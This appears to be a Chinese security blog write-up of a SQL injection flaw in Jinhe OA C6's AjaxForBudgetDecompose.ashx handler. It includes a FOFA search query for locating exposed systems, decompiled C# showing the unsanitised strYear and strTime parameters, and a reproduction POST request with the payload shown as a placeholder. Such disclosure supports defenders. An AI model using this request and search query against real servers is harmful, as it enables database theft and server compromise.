金和OA AjaxForBudgetDecompose.ashx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForBudgetDecompose.ashx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 AjaxForBudgetDecompose.ashx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForBudgetDecompose 的处理逻辑

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str1 = context.Request["strType"];
  string str2 = context.Request["strYear"];
  if (string.op_Equality(str1, "getBudgetTime"))
  {
    DataSet divertInformation = new CostManager().Get_Budget_PeriodDivertInformation(str2);
else
{
  string strTime = context.Request["strTime"];
  DataTable decomposeManageList = this.budgetDecomposeDao.GetBudgetDecomposeManageList(str2, strTime);

当 action=getBudgetTime 时,strYear被带入Get_Budget_PeriodDivertInformation方法

public DataSet Get_Budget_PeriodDivertInformation(string YearPeriod)
{
  return this.GetDS_BySQL($"{" Select Budget_PeriodManage.YearPeriod,Budget_PeriodManage.Period,Budget_PeriodDivert.Status " + " from Budget_PeriodManage " + " Left outer join Budget_PeriodDivert " + " on Budget_PeriodDivert.YearPeriod = Budget_PeriodManage.YearPeriod " + " and  Budget_PeriodDivert.Period = Budget_PeriodManage.Period "} where Budget_PeriodDivert.Status is null and Budget_PeriodManage.YearPeriod ='{YearPeriod}'" + " order by YearPeriod asc ,Period asc " + "   select Period from Budget_PeriodManage where getdate() between begindate and enddate ");
}

参数strYear被直接拼接到SQL语句中执行,造成SQL注入漏洞。

否则strYear、strTime会被带入GetBudgetDecomposeManageList方法

public DataTable GetBudgetDecomposeManageList(string strYear, string strTime)
{
  this.strSql = $"select * from BudgetDecomposeManage b \r\n                    where b.BudgetState <> 3 and BudgetYear = {strYear} and BudgetTime = {strTime}";
  return this.db.ExecSQLReDataTable(this.strSql);
}

存在相同的SQL注入漏洞

漏洞复现

POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForBudgetDecompose.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

strType=getBudgetTime&strYear=SQLI_POC

成功延时 4 秒


手机扫码阅读

天锐绿盾审批系统 /ext/mail/add/asign fastjson反序列化漏洞

金和OA CostReimbursementHandler.ashx SQL注入漏洞

评 论